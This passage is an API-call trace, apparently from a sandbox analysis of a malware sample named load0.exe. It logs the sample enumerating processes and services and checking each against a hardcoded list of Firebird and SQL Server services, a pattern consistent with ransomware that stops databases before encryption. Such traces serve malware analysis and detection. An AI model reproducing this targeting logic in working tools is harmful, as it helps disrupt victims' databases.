lstrlenW (lpString="svchost.exe") returned 11 [0278.371] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.372] lstrlenW (lpString="svchost.exe") returned 11 [0278.372] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0278.374] lstrlenW (lpString="dwm.exe") returned 7 [0278.374] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.375] lstrlenW (lpString="svchost.exe") returned 11 [0278.375] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.376] lstrlenW (lpString="svchost.exe") returned 11 [0278.376] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.377] lstrlenW (lpString="svchost.exe") returned 11 [0278.377] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.378] lstrlenW (lpString="svchost.exe") returned 11 [0278.378] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.379] lstrlenW (lpString="svchost.exe") returned 11 [0278.379] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.379] lstrlenW (lpString="svchost.exe") returned 11 [0278.380] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.381] lstrlenW (lpString="svchost.exe") returned 11 [0278.381] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.382] lstrlenW (lpString="svchost.exe") returned 11 [0278.382] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.383] lstrlenW (lpString="svchost.exe") returned 11 [0278.383] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.384] lstrlenW (lpString="svchost.exe") returned 11 [0278.384] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0278.385] lstrlenW (lpString="spoolsv.exe") returned 11 [0278.385] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.386] lstrlenW (lpString="svchost.exe") returned 11 [0278.386] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0279.071] lstrlenW (lpString="audiodg.exe") returned 11 [0279.071] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0279.072] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0279.072] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0279.073] lstrlenW (lpString="Memory Compression") returned 18 [0279.073] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0279.074] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0279.074] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0279.075] lstrlenW (lpString="sihost.exe") returned 10 [0279.075] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.076] lstrlenW (lpString="svchost.exe") returned 11 [0279.076] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0279.077] lstrlenW (lpString="taskhostw.exe") returned 13 [0279.078] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0279.078] lstrlenW (lpString="msoia.exe") returned 9 [0279.078] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0279.080] lstrlenW (lpString="explorer.exe") returned 12 [0279.080] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0279.080] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0279.081] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0279.081] lstrlenW (lpString="SearchUI.exe") returned 12 [0279.081] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0279.082] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0279.082] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0279.083] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0279.083] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0279.084] lstrlenW (lpString="load0.exe") returned 9 [0279.084] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0279.085] lstrlenW (lpString="load0.exe") returned 9 [0279.085] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 0 [0279.086] CloseHandle (hObject=0x11c8) returned 1 [0279.086] Sleep (dwMilliseconds=0x1f4) [0279.800] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64640 [0279.800] EnumServicesStatusExW (in: hSCManager=0x3f64640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0279.800] GetLastError () returned 0xea [0279.801] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1cb6) returned 0x3240080 [0279.801] EnumServicesStatusExW (in: hSCManager=0x3f64640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3240080, cbBufSize=0x1cb6, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3240080, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0279.801] CloseServiceHandle (hSCObject=0x3f64640) returned 1 [0279.802] lstrlenW (lpString="Appinfo") returned 7 [0279.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0279.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0279.802] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0279.802] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0279.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0279.802] lstrlenW (lpString="AppXSvc") returned 7 [0279.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0279.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0279.802] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0279.802] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0279.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0279.802] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0279.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0279.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0279.802] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0279.802] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0279.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0279.802] lstrlenW (lpString="Audiosrv") returned 8 [0279.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0279.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0279.802] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0279.802] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0279.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0279.802] lstrlenW (lpString="BFE") returned 3 [0279.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0279.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0279.802] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0279.802] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0279.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0279.802] lstrlenW (lpString="BITS") returned 4 [0279.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0279.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0279.803] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0279.803] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0279.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0279.803] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0279.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0279.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0279.803] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0279.803] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0279.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0279.803] lstrlenW (lpString="CDPSvc") returned 6 [0279.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0279.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0279.803] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0279.803] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0279.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0279.803] lstrlenW (lpString="ClickToRunSvc") returned 13 [0279.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0279.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0279.803] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0279.803] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0279.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0279.803] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0279.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0279.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0279.803] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0279.803] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0279.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0279.803] lstrlenW (lpString="CryptSvc") returned 8 [0279.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0279.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0279.804] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0279.804] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0279.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0279.804] lstrlenW (lpString="DcomLaunch") returned 10 [0279.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0279.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0279.804] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0279.804] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0279.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0279.804] lstrlenW (lpString="DeviceAssociationService") returned 24 [0279.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0279.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0279.804] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0279.804] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0279.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0279.804] lstrlenW (lpString="Dhcp") returned 4 [0279.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0279.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0279.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0279.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0279.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0279.804] lstrlenW (lpString="Dnscache") returned 8 [0279.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0279.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0279.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0279.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0279.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0279.805] lstrlenW (lpString="DPS") returned 3 [0279.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0279.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0279.805] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0279.805] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0279.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0279.805] lstrlenW (lpString="DusmSvc") returned 7 [0279.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0279.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0279.805] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0279.805] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0279.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0279.805] lstrlenW (lpString="EventLog") returned 8 [0279.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0279.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0279.805] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0279.805] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0279.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0279.805] lstrlenW (lpString="EventSystem") returned 11 [0279.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0279.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0279.805] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0279.805] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0279.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0279.805] lstrlenW (lpString="FontCache") returned 9 [0279.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0279.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0279.805] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0279.805] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0279.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0279.806] lstrlenW (lpString="gpsvc") returned 5 [0279.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0279.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0279.806] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0279.806] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0279.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0279.806] lstrlenW (lpString="iphlpsvc") returned 8 [0279.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0279.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0279.806] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0279.806] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0279.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0279.806] lstrlenW (lpString="KeyIso") returned 6 [0279.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0279.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0279.806] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0279.806] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0279.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0279.806] lstrlenW (lpString="LanmanServer") returned 12 [0279.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0279.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0279.806] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0279.806] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0279.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0279.806] lstrlenW (lpString="LanmanWorkstation") returned 17 [0279.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0279.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0279.806] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0279.806] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0279.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0279.807] lstrlenW (lpString="lfsvc") returned 5 [0279.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0279.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0279.807] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0279.807] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0279.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0279.807] lstrlenW (lpString="lmhosts") returned 7 [0279.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0279.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0279.807] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0279.807] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0279.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0279.807] lstrlenW (lpString="LSM") returned 3 [0279.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0279.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0279.807] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0279.807] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0279.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0279.807] lstrlenW (lpString="MpsSvc") returned 6 [0279.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0279.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0279.807] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0279.807] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0279.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0279.807] lstrlenW (lpString="NcbService") returned 10 [0279.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0279.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 